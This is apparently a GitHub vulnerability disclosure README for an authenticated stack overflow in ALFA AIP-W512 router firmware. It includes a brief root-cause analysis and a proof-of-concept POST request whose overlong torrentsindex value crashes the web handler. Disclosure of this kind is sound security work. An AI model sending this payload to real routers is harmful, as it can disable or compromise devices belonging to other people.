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README.md

description:

a buffer overflow vulnerability was found on ALFA AIP-W512 was discovered to contain an
authenticated stack overflow via torrentsindex parameter in the formBTClinetSetting function.

brand:ALFA

product: AIP-W512

version: v3.2.2.2.3

The firmware can be downloaded from this website and using FirmAE to simulate the router
environment.  
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in function formBTClinetSetting the identifier uVar3 retrieves the value from the
torrentsindex,and without the check of length ,if the length of text exceed 8 would lead to
overflow in function getbtclientIndex

analyze

https://camo.githubusercontent.com/798997f0e4327246ca9be5029fc17cd8d57a8e16dc16506a6ea2288898c24fca/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f34653962636132363238383038393835663564333230363231336365303462612e706e67
https://camo.githubusercontent.com/798997f0e4327246ca9be5029fc17cd8d57a8e16dc16506a6ea2288898c24fca/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f34653962636132363238383038393835663564333230363231336365303462612e706e67


poc

POST /boafrm/formBTClientSetting HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 
Firefox/136.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Length: 123

https://camo.githubusercontent.com/e8dbf5a8684d1a620655445663025065e29f0ea16c2c88544b7c98de5f805573/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f34323435383965636663616539343563316666346133393961323431303337392e706e67
https://camo.githubusercontent.com/e8dbf5a8684d1a620655445663025065e29f0ea16c2c88544b7c98de5f805573/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f34323435383965636663616539343563316666346133393961323431303337392e706e67


using burpsuite to send the post request and the result as follow

and can find this request lead to the buffer overflow

submit-
url=2131231&operation=start&torrentsindex=/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

https://camo.githubusercontent.com/644389512ba77f0e6aa6326e1f0898a6fc25438418844d89c9f34abbdc942b23/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f62306132306337323365336239626463653736363136636437633462613065352e706e67
https://camo.githubusercontent.com/644389512ba77f0e6aa6326e1f0898a6fc25438418844d89c9f34abbdc942b23/68747470733a2f2f67697465652e636f6d2f72656761696e313032342f696d6167655f6265642f7261772f6d61737465722f696d616765732f62306132306337323365336239626463653736363136636437633462613065352e706e67

